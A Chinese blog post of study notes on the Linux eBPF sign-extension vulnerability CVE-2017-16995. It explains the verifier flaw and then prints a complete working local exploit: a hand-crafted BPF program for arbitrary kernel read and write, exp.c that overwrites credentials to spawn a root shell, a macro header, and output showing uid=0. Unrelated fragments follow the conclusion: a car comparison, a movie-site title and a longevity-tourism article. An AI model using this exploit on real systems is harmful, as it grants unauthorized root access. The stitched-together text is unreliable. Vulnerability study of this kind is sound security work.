CVE-2017-16995 ebpf 符号扩展漏洞学习笔记2020-04-10 14:07·粥粥学安全今天的文章是 i 春秋论坛作者PwnRabb1t原创的文章,对于CVE-2017-16995 ebpf 符号扩展漏洞的学习笔记,文章篇幅较长,阅读约12分钟,文章未经许可禁止转载!漏洞分析对于这个漏洞网上已经有很多的文章分析了,这里不做太多描述,只记录一些比较重要的点。首先是ebpf,上一张图:ebpf首先需要ring3传入一段指令(传到JIT),它会在BPF_PROG_RUN里做包过滤, 内核会申请一块共享内存(MAP),内核的数据经过过滤之后放到MAP里面,然后ring3就可以读写MAP来获取内核数据。这个漏洞简单来说就是符号扩展没有检查好,像前面说的,ebpf分成verifier和BPF_PROG_RUN 两个部分。传入的指令其实就是原本x64上指令的一个映射,它会检查指令的CFG,是不是有非法内存访问之类的(如果可以的话就直接是内核代码注入了,可以任意执行代码),效率上的考虑,会忽略掉一些分支的检查,像下面这样,r9的值固定是0xffffffff,那么就不会跳转到[4]的部分,所以就不用检查它了,节省时间。 ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4首先看上面第一条指令ALU_MOV_K(9,0xffffffff),它等效于r9 = 0xffffffff,对应的代码在:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782 if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; } else if (class == BPF_LDX) {调用check_alu_op函数,最后调用regs[insn->dst_reg].imm = insn->imm;,这里的立即数是用signed int保存的。//ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}///* check validity of 32-bit and 64-bit arithmetic operations */static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){ struct reg_state *regs = env->cur_state.regs; u8 opcode = BPF_OP(insn->code); int err;//... } else if (opcode == BPF_MOV) {//.. if (BPF_SRC(insn->code) == BPF_X) { //... } else {// BPF_K <=========================================== /* case: R = imm * remember the value we stored into this reg */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit }//... return 0;}然后第二条指令JMP_JNE_K(9,0xffffffff,2),其检查在check_cond_jmp_op函数里,这时候用的imm依然是signed int类型,然后后续检查的时候发现前面r9和JMP_JNE_K的imm一样,于是就不去检查[4]开始的指令了。/* ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}*/static int check_cond_jmp_op(struct verifier_env *env, struct bpf_insn *insn, int *insn_idx){ struct reg_state *regs = env->cur_state.regs; struct verifier_state *other_branch; u8 opcode = BPF_OP(insn->code); int err; //.... } else if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE)) { if (opcode == BPF_JEQ) { //... } else { /* detect if (R != imm) goto * and in the fall-through state recognize that R = imm */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm; } } if (log_level) print_verifier_state(env); return 0;}然后到了运行的之后,对应__bpf_prog_run 函数:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195ALU_MOV_K:DST=(u32)IMM这个时候DST=0xffffffffJMP_JNE_K:比较DST和IMM,此时IMM是signed int类型,DST 是 uint64_t 类型, IMM会做位扩展,原来的0xffffffff也就是-1变成0xffffffff ffffffff,0xffffffff != 0xffffffff ffffffff,于是就会跳到前面指令的LD_IMM_DW(9,1,3), // [4] r9=mapfd开始执行,verifrier的时候并没有这一段指令做检查,这时候就可以在内核做任意代码执行了。#define DST regs[insn->dst_reg] // uint64_t#define SRC regs[insn->src_reg] // uint64_t#define FP regs[BPF_REG_FP] #define ARG1 regs[BPF_REG_ARG1] #define CTX regs[BPF_REG_CTX] #define IMM insn->imm // signed int //..static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn){ u64 stack[MAX_BPF_STACK / sizeof(u64)]; u64 regs[MAX_BPF_REG], tmp;//..... ALU_MOV_K: DST = (u32) IMM; CONT;//... JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;//...}我们可以写一段代码验证一下:#include #include #include #include #include int main(int argc,char **argv){ setbuf(stdout,0); int imm = 0xffffffff; uint64_t dst = (uint32_t)0xffffffff; if( dst != imm){ printf("vuln\n"); } return 0;}输出的结果是vuln,接下来是如何利用。漏洞利用漏洞利用的话,前面的分析我们知道可以在内核任意代码执行,手写ebpf的指令(其实就和我们手写汇编一样),基本利用思路如下:泄露出task_struct的地址借助task_struct地址泄露出cred地址直接内存写改uid,gid,然后/bin/sh getshell复现的环境我用的内核是4.4.110版本, 附件中有我的config文件,主要是加上CONFIG_BPF=y 和CONFIG_BPF_SYSCALL=y这里使用的bpf指令如下,参照panda师傅的分析: ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit// 下面指令不会做检查 LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] padding //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0//fixup_bpf_calls JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0// map[0] == 0 任意地址读 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit// map[0] == 1 leak rbp addr JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 (rbp) JMP_EXIT(), // [38] exit// map[0] == 2 任意地址写 STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit首先是r6=map[0],r7=map[1],r8=map[2] (map 是前面提到的共享内存)然后是三个判断:map[0]==0时,根据 map[1] 的值来读内存;map[0]==1时,获取rbp的值==>addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;map[0] ==2时,*map[1]= map[2]([r7]=r8)。exp完整exp 如下 , exp.c#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include "bpf_insn_helper.h"typedef uint32_t u32;typedef int32_t s32;typedef uint64_t u64;typedef int64_t s64;void logs(char *tag,char *buf){ printf("[ s]: "); printf(" %s ",tag); printf(": %s\n",buf);}void logx(char *tag,uint32_t num){ printf("[ x] "); printf(" %-20s ",tag); printf(": %-#8x\n",num);}void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lx\n",num);}void bp(char *tag){ printf("[bp] : %s\n",tag); getchar();}void init(){ setbuf(stdin,0); setbuf(stdout,0);}int mapfd,progfd;int sockets[2];#define LOG_BUF_SIZE 65536#define PROGSIZE 328#define PHYS_OFFSET 0xffff880000000000#define CRED_OFFSET 0x5b0 //0x5f8#define UID_OFFSET 0x4char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1);}static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n);}#define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg();static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value;}static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2);}static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val);}static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1);}static void pwn(void) { printf("pwning\n"); uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); loglx("fpsome",fp); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid /*uidptr = credptr + 4; // uid*/ if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); __write(uidptr+0x8, 0); __write(uidptr+0x10, 0); if (geteuid() == 0) { printf("spawning root shell\n"); system("/bin/sh"); exit(0); } __exit("not vulnerable?");}int main(int argc,char **argv){ init(); struct bpf_insn insns[] = { ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 JMP_EXIT(), // [38] exit STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit }; /*for(int i=0;i#define ALU_NEG BPF_ALU | BPF_NEG#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K#define F_ALU64_NEG BPF_ALU64 | BPF_NEG #define BPF_INSN_NEG \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define ALU_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU64_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU64_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)#define JMP_OP_K(OP,DST,IMM,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define JMP_OP_X(OP,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })#define F_JMP_JA BPF_JMP | BPF_JA #define F_JMP_CALL BPF_JMP | BPF_CALL #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X#define JMP_EXIT() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define JMP_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = FUNC \ })#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)// [ det_reg + off ] = src#define STX_MEM_OP(SIZE,DST,OFF,SRC) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ dst_reg + off ] = IMM#define ST_MEM_OP(SIZE,DST,OFF,IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B #define LD_IND_W BPF_LD | BPF_IND | BPF_W #define LD_IND_H BPF_LD | BPF_IND | BPF_H #define LD_IND_B BPF_LD | BPF_IND | BPF_B // dst_reg = [src_reg + off ]#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ src_reg + off ] = IMM#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM \ })#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)#endif运行的效果如下:~ $ /exp [ x] insns : 0x148 mapfd finished progfd finish socketpair finished pwning [lx] fpsome : 0xffff8800001b7cc0 task_struct = ffff88000d002e00 uidptr = ffff88000dc11f04 spawning root shell /home/pwn # id uid=0(root) gid=0 groups=1000 /home/pwn # 小结cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。
2024年12月15日,性能上,这两款车其实差别不大,都提供了相似的驾驶体验。卡罗拉的驾驶稳重,适合家用,而雷凌则稍显灵动,更符合年轻人的驾驶习惯。在动力和油效上,两者也是不相上下,你说咋选?
星辰影院-2023年最新高清热播电影-好看的电视剧免费在线
中国有9座长寿之乡风景美物价低非常适合养老你来过吗首发2023-12-10 20:43·小福星爱旅游研究表明长寿基因会在某些人群中得到传承这意味着一些人天生就拥有更强的长寿基因使他们更有可能活到更高的年龄然而遗传并非决定性因素环境因素同样对长寿起着至关重要的作用生活在一个清洁、宜居的环境中远离污染和有害物质能够大大减少患病的可能性从而有助于延长寿命在中国有一些被称为长寿之城的地方拥有优美的自然环境和清新的空气这为当地居民的健康和长寿提供了有利条件09、南宁上林县——世界长寿乡霞客眷恋地2019年5月20日南宁上林县荣获了世界长寿之乡的美誉成为了国内第9个世界长寿之乡百岁的长寿率是世界长寿之乡标准的两倍之多(长寿之乡标准为7人/10万人)上林是明代徐霞客旅行生涯中停留最长的地方他在此曾停留54天留下1.4万字游记是徐霞客一生最眷恋的地方这里山水灵动山峦叠嶂溪水潺潺绿树成荫处处洋溢着大自然的宁静和美丽在这片土地上人们可以感受到大自然的包容与慷慨与自然和谐共生这里的水是山泉水、土是富硒土推开门就是山水画卷转过身就是天然氧吧在这里不仅可以养身更能滋养心灵其实除了自然环境外上林人的生活习惯也是长寿的重要因素之一当地居民非常注重锻炼身体多参加各种体育锻炼活动如太极拳、广场舞、健身操等这些锻炼方式不仅可以增强身体的免疫力还可以缓解压力舒缓心情其中太极拳在上林得到了很好的传承很多当地人自幼习练太极拳等传统武术在上林人看来太极拳不仅仅是为了学习一门技艺更是一种修身养性的功夫拍摄于上林大庙江生态旅游景区08、福建南平——心态王者演员张颂文曾被南平洋头村的老人深深感染他用9个字总结了这里长寿的秘诀——空气好、水质好、心态好在小编看来其中的心态好尤为重要南平是坐落在福建东北部的小城宁静安逸的气息弥漫在每一个角落在这片土地上生态与文化相互交融共同构成了这座小城的独特魅力人们的生活简单充实尊重自然珍视传统追求心灵的宁静与满足南平的饮食文化正是这种生活方式的体现一顿简单的家常饭充满了对生活的热爱和对家庭的情感食材新鲜烹饪方法简单注重原汁原味的烹饪方式体现了淳朴和健康的生活理念闽北牛肉丸、沙茶面、南平鸭肉粥等传统菜肴不仅是味蕾的享受更是家庭团聚和情感交流的载体承载着家人间的温情和情感交融这里的人们热爱传统文化散发着柔和、内敛、安逸的气质来南平活到80岁那都不是事儿07、巴马——自古至今享长寿美誉清朝嘉庆皇帝曾为142岁的瑶族老人蓝祥高寿赐诗祝寿由此可见你巴马人长寿自古有名巴马村的长寿率是国际上世界长寿之乡标准的近200倍据悉巴马寿星们主要以素食为主饮食习惯偏向清淡、均衡以蔬菜、水果、杂粮为主食少吃油腻、辛辣等刺激性食物他们还特别喜爱吃一些野菜这些野菜是自然界中自生自长的绿色有机食物各种维生素含量非常高长寿老人所食的油料大多以火麻油、茶油、蝴蝶果油等为主都是当地的绿色特产食物巴马人的食谱中长寿汤的地位举足轻重这种汤其实就是火麻汤火麻是生长在山区浓雾环绕的土地上目前所有常见的食用植物油中不饱和脂肪酸含量最高的经常食用这种珍贵的油料作物可降低血压和胆固醇防止血管硬化还可以润肠通便和延缓衰老这种健康的饮食习惯也为当地居民的健康和长寿提供了有力支持06、贺州——心驰神往的山水画卷贺州位于广西中部也是全国唯一的全域长寿市这个美丽的城市以其高寿人口而闻名平均预期寿命可达78.01岁是全国平均寿命的佼佼者据统计每10万个贺州人中就有19位百岁老人这个数字是超长寿地区国际标准的2倍以上贺州的自然风光如同一幅绝美的山水画卷每一处景致都令人心驰神往贺州的自然景观包括了如画的荷塘月色、苍翠欲滴的丹霞山、宛若仙境的龙泉洞等等这些景观无不展现着大自然的神奇和鬼斧神工让人们不禁为之惊叹贺州还拥有着令人瞩目的72.9%的森林覆盖率在这里人们可以尽情地感受大自然的美好放松心情远离喧嚣除了得天独厚的自然环境贺州还拥有悠久的历史和丰富的文化遗产贺州的建筑、工艺、饮食等方面都体现了浓厚的地方特色每一样物品都承载着历史的沉淀和人文的沧桑贺州饮食文化源远流长以当地丰富的农副产物为原料注重原汁原味的烹饪方式油茶、牛肠酸、百酿菜、黄田扣肉、黄姚豆豉等让人目不暇接这些美食都是当地人民生活中不可或缺的一部分无论是在家中享用还是在街头巷尾品味这些美食都透露着贺州人对生活的热爱和对美食的独特情感贺州还以其出色的水资源管理